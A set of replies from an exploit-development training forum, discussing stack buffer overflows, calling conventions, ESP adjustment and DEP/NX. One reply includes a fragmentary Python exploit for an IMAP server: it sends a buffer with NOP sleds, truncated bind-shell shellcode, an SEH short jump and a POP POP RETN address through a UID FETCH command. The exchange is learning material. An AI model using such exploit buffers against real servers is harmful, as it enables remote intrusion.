Forum Replies Created

Viewing 5 reply threads
  • Author
    • #53216

      I think DEP is windows based and NX is linux based…correct me please if I am wrong. the point is not to make it work only. its about understanding why it did not work :). I do not like leaving it just because it did not work 🙂

    • #53119

      Aren’t the function parameters you’ve supplied (ptr to param1 in your example) getting popped also?
      I mean, if you overwrite saved EIP with some acceptable address, and after DoStuff returns, EIP gets popped off the stack, but these passed input parameters must be popped too?
      If I am correct,then ESP will point to “+ some bytes” after “EIP + input vars”, and not directly after “EIP” and this is the reason you add four symbols before the shellcode (my $preshellcode = “XXXX”;) ?
      Thank you!”


      I figure out my first question when i read this article…..entions. In my c code i use to debug, if i defines the DoStuff function as “void _cdecl DoStuff(char* param1)” or “void DoStuff(char* param1)”, then there is no need to adjust the shellcode with 4 more bytes.If i defines the DoStuff function as “void _stdcall DoStuff(char* param1)”,then we have to adjust the shellcode with 4 more bytes. The difference is made by whom is responsible for cleaning the arguments from the stack,the caller or the callee.Is it right?”

      the key point is that function arguments gets popped out of the stack too, that’s why ESP is pointing to higher address values. also this may differ from function to another based on the first post which indicates that this depends on who is responsible for cleaning the arguments from the stack !

    • #53201

      @dynamik thanks for your response. For some reason it worked after adding some NOPs after the shellcode ! please check the code below:

      shellcode = (“xb8x3bxe5xd0x36xdaxd3xd9x74x24xf4x5ax29xc9xb1”

      buffer = “x90” * 300 #Nop Sled to fill the first 300 bytes before the shellcode
      buffer += shellcode #Shellcode to spawn a shell listening on port 4444
      buffer += “x90” *81 #Nop Sled to fill the rest of the buffer after the shellcode
      buffer += “xEBx06x90x90” #Short JMP of 6 bytes
      buffer += “x95xcbx0dx60” #Memory Address of POP POP RETN sequence at module MsccMgr.dll
      buffer += “x90″*8+”xe9xffxfcxffxff” #8 Bytes of NOPs followed by 700 Bytes backward jump
      buffer += “}” *50 #Junk

      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

      print “Can’t connect to server!n”

      print “[+] Connecting to victim !”
      print “[+] “+data.rstrip()
      print “[+] Sending evil buffer…”
      s.send(‘A013 UID FETCH 4827313:4827313 ‘+ buffer + “rn”)
      print “[+] Exploitation Successfuln”
      print “[+] Please Connect to port 4444 on victim IP now !n”
      So when moving the 81 NOPs that are after the shellcode and placing them before the shellcode (adding them to the 300 NOPs already there), the exploit fails !

      Actually I would appreciate letting me know what is know by stack adjustment !

      @superkojiman I am connecting to it from local machine itself: nc 444 to avoid any network problems

    • #53117

      After search I found answers:

      1-why EBP was not overwritten with the buffer ?

      Answer here :

      2-is not it expected that the supplied buffer starts from the ESP and going downside towards the EIP at the bottom of the stack? w hich means that the ESP should points to AAAAAAA instead of CCCCCCCCC ?

      Answer here:

    • #53193

      Thanks Hany,

      Actually I have already reviewed it, however, I doubt that it is working one as the shellcode used contains bad chars like x00 !

    • #53116

      Thanks for the help. You cleared the confusion !

Viewing 5 reply threads

Copyright ©2020 Caendra, Inc.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.


Sign in with Caendra

Forgot password?Sign up

Forgot your details?